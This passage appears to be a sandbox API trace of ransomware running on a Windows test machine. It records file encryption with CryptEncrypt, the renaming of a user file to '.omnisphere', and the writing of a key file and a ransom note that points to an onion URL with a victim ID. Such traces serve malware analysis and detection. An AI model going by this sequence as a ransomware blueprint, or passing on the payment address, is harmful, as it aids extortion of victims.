pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0108.518] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0113.303] CryptDestroyKey (hKey=0x1639b28) returned 1 [0113.303] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0114.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x388cc7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0114.593] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0114.595] GetProcessHeap () returned 0x1600000 [0114.595] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f0) returned 0x16496b0 [0114.595] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.omnisphere")) returned 1 [0114.598] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.omnisphere.id" [0114.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0114.600] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0114.602] CloseHandle (hObject=0x388) returned 1 [0114.604] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0114.780] CloseHandle (hObject=0x3c0) returned 1 [0114.780] SetEndOfFile (hFile=0x288) returned 1 [0114.781] FlushFileBuffers (hFile=0x288) returned 1 [0115.031] CloseHandle (hObject=0x288) returned 1 [0115.032] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned 1 [0115.032] GetProcessHeap () returned 0x1600000 [0115.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16875e0 [0115.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.032] GetProcessHeap () returned 0x1600000 [0115.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f260 [0115.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f260, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.032] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.032] GetProcessHeap () returned 0x1600000 [0115.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f410 [0115.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f410, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.032] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.033] GetProcessHeap () returned 0x1600000 [0115.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x1638308 [0115.033] PathCombineW (in: pszDest=0x1638308, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\!DECRYPT_OMNISPHERE.txt" [0115.033] GetProcessHeap () returned 0x1600000 [0115.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167d960 [0115.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0115.036] WriteFile (in: hFile=0x288, lpBuffer=0x167d960*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x167d960*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0115.037] CloseHandle (hObject=0x288) returned 1 [0115.037] GetProcessHeap () returned 0x1600000 [0115.037] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16875e0 | out: hHeap=0x1600000) returned 1 [0115.038] GetProcessHeap () returned 0x1600000 [0115.038] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1624a20 [0115.038] PathCombineW (in: pszDest=0x1624a20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\unique_decrypt.key" [0115.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0115.039] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0115.042] CloseHandle (hObject=0x288) returned 1 [0115.043] GetProcessHeap () returned 0x1600000 [0115.043] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1624a20 | out: hHeap=0x1600000) returned 1 [0115.043] GetProcessHeap () returned 0x1600000 [0115.043] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0115.043] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0xbd, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0115.043] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0115.044] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x25a98ac8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25a98ac8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x25a98ac8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25a98ac8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a98ac8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25a98ac8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25a98ac8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x25843a2e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3891eb, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="Built-In Building Blocks.dotx.omnisphere", cAlternateFileName="BUILT-~1.OMN")) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x256736ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x256736ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x256736ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="Built-In Building Blocks.dotx.omnisphere.id", cAlternateFileName="BUILT-~1.ID")) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a98ac8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25a98ac8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25abec97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a98ac8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25a98ac8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25abec97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0033, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0115.044] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.044] GetProcessHeap () returned 0x1600000 [0115.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162d2e8 | out: hHeap=0x1600000) returned 1 [0115.044] GetProcessHeap () returned 0x1600000 [0115.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0115.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0115.045] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.045] GetProcessHeap () returned 0x1600000 [0115.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162dff8 | out: hHeap=0x1600000) returned 1 [0115.045] GetProcessHeap () returned 0x1600000 [0115.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0115.045] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="1033", cAlternateFileName="")) returned 0 [0115.045] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.045] GetProcessHeap () returned 0x1600000 [0115.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165ec28 | out: hHeap=0x1600000) returned 1 [0115.045] GetProcessHeap () returned 0x1600000 [0115.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e548 | out: hHeap=0x1600000) returned 1 [0115.045] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0115.045] GetProcessHeap () returned 0x1600000 [0115.045] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1606e38 [0115.046] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Excel" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel" [0115.046] GetProcessHeap () returned 0x1600000 [0115.046] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f980 [0115.046] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*" [0115.046] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.046] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.046] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0115.046] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0115.047] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.047] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.047] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, 